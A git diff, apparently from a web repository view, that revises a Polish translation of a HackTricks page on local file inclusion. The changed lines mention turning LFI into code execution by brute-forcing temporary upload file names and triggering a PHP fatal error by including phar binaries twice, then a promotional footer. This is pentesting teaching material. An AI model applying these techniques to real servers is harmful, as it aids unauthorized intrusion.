Jeśli możesz nadużyć LFI, aby **przesłać pliki tymczasowe** i sprawić, że serwer **zawiesi** wykonanie PHP, możesz wtedy **bruteforce'ować nazwy plików przez godziny**, aby znaleźć plik tymczasowy:
|
||||||
|
|
||||||
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||||||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||||
|
@ -637,10 +656,10 @@ Jeśli możesz wykorzystać LFI do **przesyłania plików tymczasowych** i spraw
|
||||||
|
|
||||||
### To Fatal Error
|
### To Fatal Error
|
||||||
|
|
||||||
Jeśli włączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz włączyć ten sam plik 2 razy, aby wywołać ten błąd).
|
Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd).
|
||||||
|
|
||||||
**Nie wiem, jak to jest przydatne, ale może być.**\
|
**Nie wiem, jak to jest przydatne, ale może być.**\
|
||||||
_Nawet jeśli spowodujesz błąd krytyczny PHP, tymczasowe pliki PHP są usuwane._
|
_Nawet jeśli spowodujesz błąd krytyczny PHP, przesłane pliki tymczasowe są usuwane._
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1031).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -653,7 +672,7 @@ _Nawet jeśli spowodujesz błąd krytyczny PHP, tymczasowe pliki PHP są usuwane
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów!
|
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
|
||||||
|
|
||||||
**Hacking Insights**\
|
**Hacking Insights**\
|
||||||
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
||||||
|
@ -667,8 +686,8 @@ Bądź na bieżąco z najnowszymi nagrodami za błędy i istotnymi aktualizacjam
|
||||||
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
|
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Ucz się i ćwicz Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -676,7 +695,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
||||||
|
|
||||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
* **Podziel się trikami hackingowymi, przesyłając PR-y do repozytoriów** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
Loading…
Reference in a new issue